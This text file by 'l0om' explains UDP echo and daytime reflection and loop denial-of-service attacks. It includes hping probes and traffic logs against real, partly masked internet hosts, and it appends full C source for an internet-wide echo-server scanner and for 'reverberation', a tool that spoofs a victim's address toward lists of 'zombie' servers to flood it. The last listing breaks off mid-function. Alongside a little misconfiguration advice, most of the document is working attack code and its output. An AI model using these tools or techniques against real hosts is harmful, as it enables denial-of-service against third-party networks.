UDP Echo DDoS - Zombieland

fastly written by l0om


  1. Get in touch
    1. User Datagram Protocol
    2. ECHO service
    3. DoS/DDoS
  2. Phun with ECHO
    1. Detecting echo services
    2. Lets talk
    3. Misconfigurations
    4. UDP Echo DDoS
  3. Forecast
  4. Dont mess with daytime
    1. What preventes many UDP Echo loops
    2. Its Time for the Daytime
    3. DDoS with daytime
    4. DDoS with daytime on DNS
    5. DDoS with daytime on UDP 10080
  5. References
  6. Appendix
    1. A - echolot.c
    2. B - echo-cli.c
    3. C - reverberation.c

1.0 Get in touch

1.1 User Datagram Protocol

"The User Datagram Protocol gives application programs direct access to a datagram delivery serivce, like the delivery service that IP provides. This allows applications to exchange messages over the network with a minimum of protocol overhead.

UDP is an unreliable, connectionless datagram protocol. As noted, "unreliable" merely means that there are no techniques in the protocol for verifying that the data reached the other end of the network correctly. Within your Computer, UDP will deliver data correctly. UDP uses 16-bit Source Port and Destination Port numbers in word 1 of the message header to deliver data to the correct applications process". [1]

As UDP is a connectionless protocol there is no threeway handshake like on TCP before a client transfers data to a server. no, there is no connection process at all, therefore a client sends protocol data to the servers listening UDP port.

When a destination is unreachable, the system detecting the problem sends a Destination Unrechable Message [ICMP packet] to the datagram's source. If the unreachable destination is a network or host, the message is sent by an intermediate gateway. but if the destination is an unreachable port, the destination host sends the message". [1]

Because of the fact that there is no connection process UDP packets can be spoofed very easily.

1.2 ECHO service

As the RFC about the echo protocol is that small i simply pasted it:

"Echo Protocol

This RFC specifies a standard for the ARPA Internet community. Hosts on the ARPA Internet that choose to implement an Echo Protocol are expected to adopt and implement this standard.

A very useful debugging and measurement tool is an echo service. An echo service simply sends back to the originating source any data it receives.

[...]

UDP Based Echo Service

Another echo service is defined as a datagram based application on UDP. A server listens for UDP datagrams on UDP port 7. When a datagram is received, the data from it is sent back in an answering datagram." [2]

Of course those UDP protocols like echo will be send within an IP packet which is transporting an UDP header + the UDP based protocol. On echo there is no more specification as a header or something, you can simply put some string as payload at the end of the packet.

CERT is warns for an "UDP Port Denial-of-Service Attack" on UDP Echo service. In the mentioned article the given example is like:

"For example, by connecting a host's chargen service to the echo service on the same or another machine, all affected machines may be effectively taken out of service because of the excessively high number of packets produced. In addition, if two or more hosts are so connected, the intervening network may also become congested and deny service to all hosts whose traffic traverses that network." [3]

I do mention this because id like to point out that the information in this textfile arnt new of course. Furthermore i want to show that this problem is handeled as a DoS and not as a DDoS.

1.3 DoS/DDoS

"A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person or people to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. Perpetrators of DoS attacks typically target sites or services hosted on high-profile web servers such as banks, credit card payment gateways, and even root nameservers. The term is generally used with regards to computer networks, but is not limited to this field, for example, it is also used in reference to CPU resource management.

Distributed attack

------------------

One common method of attack involves saturating the target (victim) machine with external communications requests, such that it cannot respond to legitimate traffic, or responds so slowly as to be rendered effectively unavailable." [4]

2.0 Phun with echo

2.1 Detecting echo services

Scanning for active echo udp service with nmap can be a pain in the ass. The manual tells us:

"UDP scan works by sending an empty (no data) UDP header to every
targeted port. If an ICMP port unreachable error (type 3, code 3)
is returned, the port is closed. Other ICMP unreachable errors
(type 3, codes 1, 2, 9, 10, or 13) mark the port as filtered.
Occasionally, a service will respond with a UDP packet, proving
that it is open. If no response is received after retransmissions,
the port is classified as open|filtered. This means that the port
could be open, or perhaps packet filters are blocking the
communication." [5]

however, even with the "--host-timeout" option i didnt get nmap (version 4.76) to show me a responding UDP echo service with port state "open". therefore i have written down a quick and dirty program for such kind of UDP scanning. The program scans a whole range like 192.168.*.* with sending UDP echo packets to the hosts. Before the scanning starts the program forks a child process which sniffs for answers with libpcap. well, sometimes it works and sometimes it doesnt, dont ask me why - i wont loose my head on libpcap. at least i have started a seperated tcpdump on another shell for receiving the answers. however, sometimes it does its job (see [A]).

	root@badhost:~/coding# ./echolot -s 192.168.2.108 -l hosts.log 1xx.3x
	sending packet to 1xx.3x.1.*...
	sending packet to 1xx.3x.2.*...
	got UDP ECHO reply from 1xx.3x.2.xxx
	sending packet to 1xx.3x.3.*...
	[...]
			

one of such "ranges" got about 254*255 hosts, i have scanned seven ranges and found 115 UDP echo servers. On 453390 checked hosts i got 115 hits what results in a probability of 0,00025 per UDP packet that has been sent to be lucky. But hey, at least its damn fast :)

2.2 Lets talk

U might want to check out some of your found hosts. After i have written a small UDP client (see [B]) i remembered that there is an option for netcat to "connect" UDP ports as well.

	root@badhost:~/coding# ./echo-cli 168.209.123.54
	trying to start communication...
	the quick brown fox jumps over the lazy dog
	the quick brown fox jumps over the lazy dog
	this is a test
	this is a test
	^C
	root@badhost:~/coding# netcat 168.209.123.54 -u  7
	another test
	another test
	^C
		

2.3 Misconfigurations

Two misconfigurations can lead to make a server to a DDoS zombie and to a DDoS victim.

  1. I really wonder why in our days someone truly thinks he needs the echo service. It may be usefull for some special reason on some special time but there is no need to keep it alive forever. Therefore i think keeping the UDP echo service running is the first misconfiguration.

  2. Another very careless configuration is often done at the firewall rules. A connecting client uses an unprivileged port as source port. Thats the reason why incomming traffic should always be filtered on its source port. If the source port is less than 1024 something misterios is going on - reject the packet. Same for the outgoing traffic which should be checked for a correct source port too. [6]

To check for lame firewall filter and for a possible DDoS zombie or DDoS victim on the UDP echo port hping can be used. Example:

Check for misconfiguration one (UDP echo running):

	root@badhost:~/coding# hping -c 1 --udp -s 4343 -p 7 -d 1 1xx.209.xxx.xxx
	HPING 1xx.209.xxx.xxx (eth0 1xx.209.xxx.xxx): udp mode set, 28 headers + 1 data bytes
	len=46 ip=1xx.209.xxx.xxx ttl=36 id=63524 seq=0 rtt=284.6 ms

	--- 1xx.209.xxx.xxx hping statistic ---
	1 packets transmitted, 1 packets received, 0% packet loss
	round-trip min/avg/max = 284.6/284.6/284.6 ms
		

Check for misconfiguration two (inactive source port filter):

	root@badhost:~/coding# hping -c 1 --udp -s 7 -p 7 -d 1 1xx.209.xxx.xxx
	HPING 1xx.209.xxx.xxx (eth0 1xx.209.xxx.xxx): udp mode set, 28 headers + 1 data bytes
	len=46 ip=1xx.209.xxx.xxx ttl=36 id=63656 seq=0 rtt=286.7 ms

	--- 11xx.209.xxx.xxx hping statistic ---
	1 packets transmitted, 1 packets received, 0% packet loss
	round-trip min/avg/max = 286.7/286.7/286.7 ms
		

2.4 UDP Echo DDoS

As we have pointed out UDP echo packets can be easily spoofed and there are two common misconfigurations. We have seen that DDoS is based on overflood the network connection of a victims hosts with serveral machines in the net. If someone wants to take down some host for whatever reason he may first check for the UDP services because this can be a efficient target.

Lets say a victim server has a running UDP echo service. An attacker simply have to create a list of servers which have the two mentioned misconfigurations running. After that he can send spoofed UDP echo packets with the victims IP as source address, source port 7, destination port 7 and some bytes of payload the all DDoS UDP echo zombies in his list. He might do this a few times what will lead to a UDP packet flood at the victims host. The host will slow down hardly or simply die. The interesting fact about it is that there is no need of 0wning hosts for this kind of attack.

I have tried it out with my own machine as victim and my net have been totally blocked. For this test i have written a small tool called "reverberation" (see [C]):

	badass@badhost:~/coding$ ./reverberation 
	./reverberation [options, <-f zombiefile>] 
	options:
	-f: next argument has to be the ECHO DDoS-Zombie file
	-v: verbose mode
	-r: next arg the rounds to go
	-t: next arg the time to wait after one round of sending packets (secs)
	-P: next arg vulnerable port of victims host
		

3.0 Forecast

We have focused on UDP echo services for now but we are not finished. There are thousands of different UDP services out there with even different impelementations. There ARE UDP servers out there which will react on unexpected UDP packets which have been sent by some client. Thanks fucking lord this is the exclusion! The reason why UDP servers should not react on unexpected client behaivor by sending some UDP reply to the client is the hazard of UDP loops. An attacker may send a spoofed UDP packet with dump to such a service which will answer with a well-formed UDP reply. This reply might stamp on another service which will react as the service which have sent the message. And it goes on, and on, and on.... and they MAY lived happily ever after.

As an example ill talk about the TFTP protocol:

"TFTP is a very simple protocol used to transfer files. It is from
this that its name comes, Trivial File Transfer Protocol or TFTP.
Each nonterminal packet is acknowledged separately. This document
describes the protocol and its types of packets. The document also
explains the reasons behind some of the design decisions." [7]

An interesting comment on this RFC article:

"What happens if the server receives any packet other than RRQ/WRQ in the
initial connection? The protocol ignores this scene.I guess the server
should ignore it, or send an ERROR packet, but the protocol doesn't say
anything." [8]

And this guy is totaly right. Because there have been no recommendation on what to do if other packets then RRQ or WQR are incoming there are services out there which simply dont react or send some ERROR message. Sending an error message CAN be dangerous as we have seen. After a few seconds of scanning i received two different answers:

	IP 196.xx5.xxx.xxx.xxx > 192.168.2.108.6305:  22 ERROR EBADOP "Illegal operation"
	IP 196.xx5.xxx.xxx.xxx > 192.168.2.108.6305:  30 ERROR EBADOP "Invalid Option Code 24947" 
		

This attitude should clarify the possibility of detecting services which can be smashed by UDP Echo Zombies. So if someone wants to beat a host or something like that he may first take a look at running UDP services. Perhaps they will answer directly after receiving a misformed packet - but they better shouldnt...

4.0 Dont mess with daytime

As the possiblity of building a UDP loop with UDP Echo is kinda low we might think about what prevents the UDP loop.

4.1 What preventes many UDP Echo loops

I have used "hping" to send ten random bytes to the dest on UDP port 5060. It replies with 85 bytes to my running UDP echo server which sends the packet back to the SIP service. As you can see the SIP service does not answer again. Why?
The service replies on not well-formed protocol data with well-formed data. This well-formed data is send back to the service (by echo) which now will NOT reply again because now it IS well-formed data.

	IP 192.168.2.101.7 > 221.xxx.xxx.xxx.5060: SIP, length: 10
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.7: SIP, length: 85
	IP 192.168.2.101.7 > 221.xxx.xxx.xxx.5060: SIP, length: 85
			

4.2 Its Time for the Daytime

"UDP Based Daytime Service

Another daytime service service is defined as a datagram based
application on UDP. A server listens for UDP datagrams on UDP port
13. When a datagram is received, an answering datagram is sent
containing the current date and time as a ASCII character string (the
data in the received datagram is ignored).
Daytime Syntax

There is no specific syntax for the daytime. It is recommended that
it be limited to the ASCII printing characters, space, carriage
return, and line feed. The daytime should be just one line.

One popular syntax is:

Weekday, Month Day, Year Time-Zone

Example:

Tuesday, February 22, 1982 17:37:43-PST" [9]

4.3 DDoS with daytime

The UDP daytime protocol sends a date string to everyone who sends a UDP packet with random data or none data to the active port. This is the reason why you can build destructive UDP loops - the data which arrives at the destinations port will never be well-formed. I have put up a UDP daytime server on my host instead of the Echo server, see what happens:

	IP 192.168.2.101.13 > 221.xxx.xxx.xxx.5060: SIP, length: 10
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.13: SIP, length: 85
	IP 192.168.2.101.13 > 221.xxx.xxx.xxx.5060: SIP, length: 26
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.13: SIP, length: 86
	IP 192.168.2.101.13 > 221.xxx.xxx.xxx.5060: SIP, length: 26
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.13: SIP, length: 86
	IP 192.168.2.101.13 > 221.xxx.xxx.xxx.5060: SIP, length: 26
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.13: SIP, length: 86
	IP 192.168.2.101.13 > 221.xxx.xxx.xxx.5060: SIP, length: 26
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.13: SIP, length: 86
	IP 192.168.2.101.13 > 221.xxx.xxx.xxx.5060: SIP, length: 26
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.13: SIP, length: 86
	IP 192.168.2.101.13 > 221.xxx.xxx.xxx.5060: SIP, length: 26
	IP 221.xxx.xxx.xxx.5060 > 192.168.2.101.13: SIP, length: 86
	[...	NEVER ENDING LOOP	...]
			

Remember the information on TFTP about different implementations? Lets see what happens if we use daytime instead of UDP echo. I set up my daytime server again and sent out spoofed UDP packets to the TFTP server:

	IP 192.168.2.101.13 > 196.xx5.xxx.xxx.69:  10 tftp-#22616
	IP 196.xx5.xxx.xxx.69 > 192.168.2.101.13:  30 ERROR EBADOP "Invalid Option Code 22616"
	IP 192.168.2.101.13 > 196.xx5.xxx.xxx.69:  26 tftp-#22373
	IP 196.xx5.xxx.xxx.69 > 192.168.2.101.13:  30 ERROR EBADOP "Invalid Option Code 22373"
	IP 192.168.2.101.13 > 196.xx5.xxx.xxx.69:  26 tftp-#22373
	IP 196.xx5.xxx.xxx.69 > 192.168.2.101.13:  30 ERROR EBADOP "Invalid Option Code 22373"
	IP 192.168.2.101.13 > 196.xx5.xxx.xxx.69:  26 tftp-#22373
	IP 196.xx5.xxx.xxx.69 > 192.168.2.101.13:  30 ERROR EBADOP "Invalid Option Code 22373"
	IP 192.168.2.101.13 > 196.xx5.xxx.xxx.69:  26 tftp-#22373
	IP 196.xx5.xxx.xxx.69 > 192.168.2.101.13:  30 ERROR EBADOP "Invalid Option Code 22373"
	[...	NEVER ENDING LOOP	...]
			

4.4 DDoS with daytime on DNS

There are DNS servers out there which answer all trash on UDP 53 with some DNS reply:

	root@badhost:~# hping -c 1 -p 53 -s 1212 --data 10 --udp 192.168.2.1
	HPING 192.168.2.1 (eth0 192.168.2.1): udp mode set, 28 headers + 10 data bytes
	len=46 ip=192.168.2.1 ttl=64 id=9501 seq=0 rtt=1.5 ms
	
	--- 192.168.2.1 hping statistic ---
	1 packets transmitted, 1 packets received, 0% packet loss
	round-trip min/avg/max = 1.5/1.5/1.5 ms

	====>
	
	IP 192.168.2.101.1212 > 192.168.2.1.53: [|domain]
	IP 192.168.2.1.53 > 192.168.2.101.1212: [|domain]
			

Those DNS servers can be killed with such DDoS too:

	IP 192.168.2.101.13 > 98.xxx.xxx.xxx.53: 22373 updateM [b2&3=0x6420] [29216a] [19809q] [12599n] [8241au][|domain]
	IP 98.xxx.xxx.xxx.53 > 192.168.2.101.13: 22373 NotImp-$ [0q] 0/0/0 (12)
	IP 192.168.2.101.13 > 98.xxx.xxx.xxx.53: 22373 updateM [b2&3=0x6420] [29216a] [19809q] [12599n] [8241au][|domain]
	IP 98.xxx.xxx.xxx.53 > 192.168.2.101.13: 22373 NotImp-$ [0q] 0/0/0 (12)
	[...	NEVER ENDING LOOP	...]
			

4.5 DDoS with daytime on UDP 10080

As this port is used by Sony PSP game console this might be a general PSP issue.

	root@badhost:~# nmap -O 216.xxx.xxx.xxx
	[...]
	Sony PSP game console (modified, running Custom Firmware 3.90 M33-2) (88%), QNX 6.3 (86%)
	No exact OS matches for host (test conditions non-ideal).
	[...]

	IP 192.168.2.101.13 > 216.xxx.xxx.xxx.10080: UDP, length 26
	IP 216.xxx.xxx.xxx.10080 > 192.168.2.101.13: UDP, length 67
	IP 192.168.2.101.13 > 216.xxx.xxx.xxx.10080: UDP, length 26
	IP 216.xxx.xxx.xxx.10080 > 192.168.2.101.13: UDP, length 67
	IP 192.168.2.101.13 > 216.xxx.xxx.xxx.10080: UDP, length 26
	IP 216.xxx.xxx.xxx.10080 > 192.168.2.101.13: UDP, length 67
	IP 192.168.2.101.13 > 216.xxx.xxx.xxx.10080: UDP, length 26
	IP 216.xxx.xxx.xxx.10080 > 192.168.2.101.13: UDP, length 67
	IP 192.168.2.101.13 > 216.xxx.xxx.xxx.10080: UDP, length 26
	IP 216.xxx.xxx.xxx.10080 > 192.168.2.101.13: UDP, length 67
	IP 192.168.2.101.13 > 216.xxx.xxx.xxx.10080: UDP, length 26
	IP 216.xxx.xxx.xxx.10080 > 192.168.2.101.13: UDP, length 67
	[...	NEVER ENDING LOOP	...]
			

As you can see this is a gerneral problem which is based on the handling of not well-formed UDP packets and there are many vulnerable protocols and vulnerable software implementations in the net.

So -- DONT MESS WITH DAYTIME!!! :)

5.0 References

[1] - Craig Hunt: TCP/IP Network Administration, Third Edition, O'Reilly, USA
[2] - J. Postel: RFC862, Network Working Group, May 1983, http://www.faqs.org/rfcs/rfc862.html
[3] - CERT Advisory CA-96.01, http://www.cert.org/advisories/CA-1996-01.html
[4] - http://en.wikipedia.org/wiki/Ddos, on 28.Feb.2010
[5] - nmap manual, 09/12/2008, insecure.org
[6] - Robert Ziegler: Linux Firewalls, Markt+Technik Verlag, Kevelaer 2000
[7] - K. Sollins: RFC1350, Network Working Group, July 1992, http://www.faqs.org/rfcs/rfc1350.html
[8] - Orgad: Comment on RFC1350, 10/24/2003, http://www.faqs.org/qa/rfcc-74.html
[9] - J. Postel: RFC867, Network Working Group, May 1983, http://www.faqs.org/rfcs/rfc867.html

6.0 Appendix

A - echolot.c

/* echolot.c
simply scans for UDP echo servers by sending a UDP packet and waiting for an UDP answer.

-s: next arg source ip
-l: next arg logfile name
-i: next arg interfacename (default eth0)

echolot -s ip -l file.log 

gcc -o echolot echolot.c -lpcap

*/


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define __FAVOR_BSD
#include 
#include 
#include 

#define BUFSIZE	512
#define ECHOPORT 7
#define SIZE_ETHERNET 14
#define ECHOPATTERN "the quick brown fox jumps over the lazy dog"

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);
void receiver(FILE *file, char *dev);
void child_signal_handler(int signr);

/* define the pseudohdr */

struct pseudohdr {              /* for creating the checksums */
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};

pcap_t *handle;		/* Session handle */

int main(int argc, char **argv)
{
  int nbytes;
  int a,b,c,d, i;
  char *filename, *sourceip = NULL, ip[16],buf[BUFSIZE];
  char *str = ECHOPATTERN, *range = NULL, *device = "eth0";
  FILE *file;
  pid_t pid;
  struct timeval tv;


  for(i = 1; i < argc; i++)
    if(argv[i][0] == '-')
      switch(argv[i][1]) {
				case 'l':
					filename = (char *)malloc(strlen(argv[++i])+1);
					if(filename == NULL) {
						perror("filename");
						return 1;
					}
					strcpy(filename,argv[i]);
					file = fopen(filename, "a");
					if(file == NULL) {
						perror("fopen");
						return 1;
					}
					break;
				case 's':
					sourceip = malloc(strlen(argv[++i])+1);
					if(sourceip == NULL) {
						perror("filename");
						return 1;
					}	  
					strcpy(sourceip, argv[i]);
					break;
				case 'i':
					device = argv[++i];
					break;
				default:
					printf(">>%s<< unknown option\n",argv[i]);
					return 1;
			}
			else range = argv[i]; 

			if(range == NULL || sourceip == NULL) {
				printf("%s <-s src-IP> <-l logfilename> \n",argv[0]);
				return -1;
			}

		if(signal(SIGCHLD, SIG_IGN) == SIG_ERR) {
			printf("WARNING: could not set signal handler\n");
		}
		
				switch(pid = fork()) {
					case -1:
						perror("fork");
						return 1;
					case 0:  //child
						receiver(file,device);
						break; 
					default:
				 	sleep(1);

 						for(c =1; c < 255; c++) {
							printf("sending packet to %s.%d.*...\n",range,c);
							for(d = 1; d < 255; d++) {
								sprintf(ip,"%s.%d.%d",range,c,d);
								if(udpsend(inet_addr(sourceip), inet_addr(ip), (getpid()+1024)%10000, ECHOPORT, str, strlen(str)) == 0)
									return 1;
								tv.tv_sec = 0;
								tv.tv_usec = 20000;
								select(0, NULL, NULL, NULL, &tv);
							}
						}
					}
  printf("all packets have been sent. waiting and terminating...\n");
	sleep(2);
	kill(pid, SIGUSR1);
	fclose(file);
  return 0;
}

void receiver(FILE *file, char *dev)
{
	 char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	 struct bpf_program fp;		/* The compiled filter expression */
	 char filter_exp[] = "udp src port 7";	/* The filter expression */
	 bpf_u_int32 mask;		/* The netmask of our sniffing device */
	 bpf_u_int32 net;		/* The IP of our sniffing device */
	 u_char *packet, *payload;		/* The actual packet */
	 int minpacket;
   struct pcap_pkthdr header;	/* The header that pcap gives us */
	 struct sockaddr_in keep_ip;
   struct iphdr *ip;
   struct udphdr *udp;

   minpacket = sizeof(struct iphdr) + sizeof(struct udphdr);
	 if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
		 fprintf(stderr, "Can't get netmask for device %s\n", dev);
		 net = 0;
		 mask = 0;
	 }
	 handle = pcap_open_live(dev, BUFSIZ, 0, 0, errbuf);
	 if (handle == NULL) {
		 fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		 return;
	 }
	 if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
		 fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return;
	 }
	 if (pcap_setfilter(handle, &fp) == -1) {
		 fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return;
	 }

	  while(1)
	{
			packet = pcap_next(handle, &header);
			if(packet == NULL)  //some error
				continue;
			ip = (struct iphdr *)(packet + SIZE_ETHERNET);
			udp = (struct udphdr *)(packet + SIZE_ETHERNET + sizeof(struct iphdr));
			payload = (u_char *)(packet +  SIZE_ETHERNET + sizeof(struct iphdr) + sizeof(struct udphdr));
			keep_ip.sin_addr.s_addr = ip->saddr;
			printf("got UDP ECHO reply from %s\n",inet_ntoa(keep_ip.sin_addr));
			fprintf(file, "%s\n",inet_ntoa(keep_ip.sin_addr));
			fflush(file);
	 }
}



void child_signal_handler(int signr)
{
	if(signr == SIGUSR1) 
	{
			pcap_close(handle);			//on signal clean up
			exit(0);							  //and exit
	}
}

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen)
{
            struct  sockaddr_in servaddr;
            struct    iphdr *ip;
            struct    udphdr *udp;
            struct pseudohdr *pseudo;
            char packet[sizeof(struct iphdr)+sizeof(struct udphdr)+datalen];
            int nbytes, sockfd, on = 1;

            sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            if(sockfd < 0) {
              fprintf(stderr,"cannt creat socket\n");
              return(0);
            }

            if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
              fprintf(stderr, "cannot setsockopt\n");
              return(0);
            }

            memset(packet, 0x00, sizeof(packet));
            memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr), data, datalen);

            servaddr.sin_addr.s_addr = daddr;
            servaddr.sin_port = htons(dport);
            servaddr.sin_family = AF_INET;

            ip     = (struct iphdr *)packet;
            udp    = (struct udphdr *)(packet + sizeof(struct iphdr));
            pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct pseudohdr));


            udp->uh_sport = htons(sport);
            udp->uh_dport = htons(dport);
            udp->uh_sum = 0;
            udp->uh_ulen = htons(sizeof(struct udphdr)+datalen);

            pseudo->saddr    = saddr;
            pseudo->daddr    = daddr;
            pseudo->useless     = 0;
            pseudo->protocol = IPPROTO_UDP;
            pseudo->length   = udp->uh_ulen;

            udp->uh_sum = in_cksum((u_short *)pseudo,sizeof(struct udphdr)+sizeof(struct pseudohdr)+datalen);

            ip->ihl      = 5;
            ip->version  = 4;
            ip->tos      = 0x10;
            ip->tot_len  = sizeof(packet);
            ip->frag_off = 0;
            ip->ttl      = 69;
            ip->protocol = IPPROTO_UDP;
            ip->check    = 0;
            ip->saddr    = saddr;
            ip->daddr    = daddr;
            nbytes = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&servaddr, sizeof(servaddr));

            close(sockfd);
            return(nbytes);
}
 

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
  register long    sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while(nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

  if(nbytes == 1)
  {
    oddbyte = 0;
    *((u_char *) &oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }
  sum  = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}

		

B - echo-cli.c

#include 
#include 
#include 
#include 

#define		ECHOPORT	7
#define		BUFSIZE		512

int main(int argc, char **argv)
{
	int sockfd, nbytes, servbytes, len;
	char buf[BUFSIZE];
	struct sockaddr_in servaddr;

	if(argc < 2) {
		fprintf(stderr,"%s  [port]\n",argv[0]);
		return -1;
	}

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
	if(sockfd == -1) {
		perror("socket");
		return -1;
	}

	servaddr.sin_family = AF_INET;
	if(argc == 3)
		servaddr.sin_port = htons(atoi(argv[2]));
	else servaddr.sin_port = htons(ECHOPORT);
	servaddr.sin_addr.s_addr = inet_addr(argv[1]);
	len = sizeof(servaddr);

	printf("trying to start communication...\n");
	while(1) {
		nbytes = read(0, buf, BUFSIZE);
		if(nbytes == -1) {
			perror("read");
			return -1;
		}
		servbytes = sendto(sockfd, buf, nbytes, 0, (struct sockaddr *)&servaddr, sizeof(servaddr));
		if(servbytes == -1) {
			perror("sendto");
			return -1;
		}
		nbytes = recvfrom(sockfd, buf, BUFSIZE, 0, &servaddr, &len);
		if(nbytes == -1) {
			perror("recvfrom");
			return -1;
		}
		buf[nbytes] = '\0';
		printf("%s",buf);
	}
	return 0;
}

		

C - reverberation.c

/* 
	reverberation.c		- written by l0om
	reverberation - echo, nachklang, widerhall

	this program has been written to prove the possibility of taking down hosts with DDoS UDP Echo servers.
	an attacker needs a service that responds UDP messages on every unexpected message or simply something like
	an active UDP echo server. those can ge taken out with spoofed UDP packets to a list of other UDP echo 
	servers what will end in an DDoS attack.

	U may scan for UDP echo servers with nmap or hping.

	-f: next argument has to be the ECHO DDoS-Zombie file
	-v: verbose mode
	-r: next arg the rounds to go
	-t: next arg the time to wait after a round of sending packets
	-P: next arg vulnerable port of victims host

	Notes: 
	the echo-zombie file has to look like this:
		1.2.3.4
		2.3.4.5
		3.4.5.6
		[...]
	the default vul port is 7 for echo

*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define __FAVOR_BSD
#include 
#include 

#define ECHOPORT 7
#define ECHOSTR	 "the quick brown fox jumps over the lazy dog"  //stupid shit  :/

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);
void help(char *p);

/* define the pseudohdr */

struct pseudohdr {              /* for creating the checksums */
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};

int verbose;

int main(int argc, char **argv)
{
	int i, rounds=1, sleeptime = 0, vulport = ECHOPORT;
	char buf[512], *filename, *dest = NULL, *payload = ECHOSTR;
	FILE *echozombies = NULL;	
  
	for(i = 1; i < argc; i++)
		if(argv[i][0] == '-')
			switch(argv[i][1]) 
			{
				case 'f':
					filename = (char *)malloc(strlen(argv[++i])+1);
					if(filename == NULL) {
						perror("filename");
						return 1;
					}
					strcpy(filename,argv[i]);
					echozombies = fopen(filename, "r");
					if(echozombies == NULL) {
						perror("fopen");
						return 1;
					}
					break;
				case 'r':
					rounds = atoi(argv[++i]);
					if(errno == EINVAL) {
						printf("illegal count of rounds >>%s<<\n",argv[i]);
						return -1;
					}
					break;
				case 'v':
					verbose = 1; 
					break;
				case 't':
					sleeptime = atoi(argv[++i]);
					if(errno == EINVAL) {
						printf("illegal seconds to sleep >>%s<<\n",argv[i]);
						return -1;
					}
					break;
				case 'P':
					vulport = atoi(argv[++i]);
					if(errno == EINVAL) {
						printf("illegal port to flood >>%s<<\n",argv[i]);
						return -1;
					}
					break;
				case 'p':
					payload = (char *)malloc(strlen(argv[++i])+1);  //memory leek
					if(payload == NULL) {
						perror("malloc");
						return -1;
					}
					strcpy(payload,argv[i]);
					break;
				default:
					printf(">>%s<< unknown option\n",argv[i]);
					return 1;
			}
		else dest = argv[i];

	if(echozombies == NULL || dest == NULL) {
		help(argv[0]);
		return -1;
	}

	printf("action starts\n");
	while(rounds)
	{
		printf("%d rounds to go...\n",rounds);
		while(!feof(echozombies))
		{
			if(fgets(buf, sizeof(buf), echozombies) != NULL)
			{
				buf[strlen(buf)-1] = '\0';
				printf("sending echo packet: src ip:%s  dst ip:%s\n",dest, buf);  //dest=victim buf=zombie
				if(udpsend(inet_addr(dest), inet_addr(buf), vulport, 7, payload, strlen(payload)) == 0) 
				{
					printf("something went wrong while sending - EXIT\n");
					fclose(echozombies);
					free(filename);
					return 0;
				}
			}
		}
		rounds--;
		fseek(echozombies, 0L, SEEK_SET);
		printf("time of reverberation...\n");
		sleep(sleeptime);
	}
	fclose(echozombies);
	free(filename);
	return 0;
}


void help(char *p)
{
	printf("%s [options, <-f zombiefile>] \n",p);
	printf("options:\n");
	printf("-f: next argument has to be the ECHO DDoS-Zombie file\n");
	printf("-v: verbose mode\n");
	printf("-r: next arg the rounds to go\n");
	printf("-t: next arg the time to wait after one round of sending packets (secs)\n");
	printf("-P: next arg vulnerable port of victims host\n");
}

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen)
{
            struct  sockaddr_in servaddr;
            struct    iphdr *ip;
            struct    udphdr *udp;
            struct pseudohdr *pseudo;
            char packet[sizeof(struct iphdr)+sizeof(struct udphdr)+datalen];
            int nbytes, sockfd, on = 1;

            sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            if(sockfd < 0) {
              fprintf(stderr,"cannt creat socket\n");
              return(0);
            }

            if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
              fprintf(stderr, "cannot setsockopt\n");
              return(0);
            }

            memset(packet, 0x00, sizeof(packet));
            memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr), data, datalen);

            servaddr.sin_addr.s_addr = daddr;
            servaddr.sin_port = htons(dport);
            servaddr.sin_family = AF_INET;

            ip     = (struct iphdr *)packet;
            udp    = (struct udphdr *)(packet + sizeof(struct iphdr));
            pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct pseudohdr));


            udp->uh_sport = htons(sport);
            udp->uh_dport = htons(dport);
            udp->uh_sum = 0;
            udp->uh_ulen = htons(sizeof(struct udphdr)+datalen);

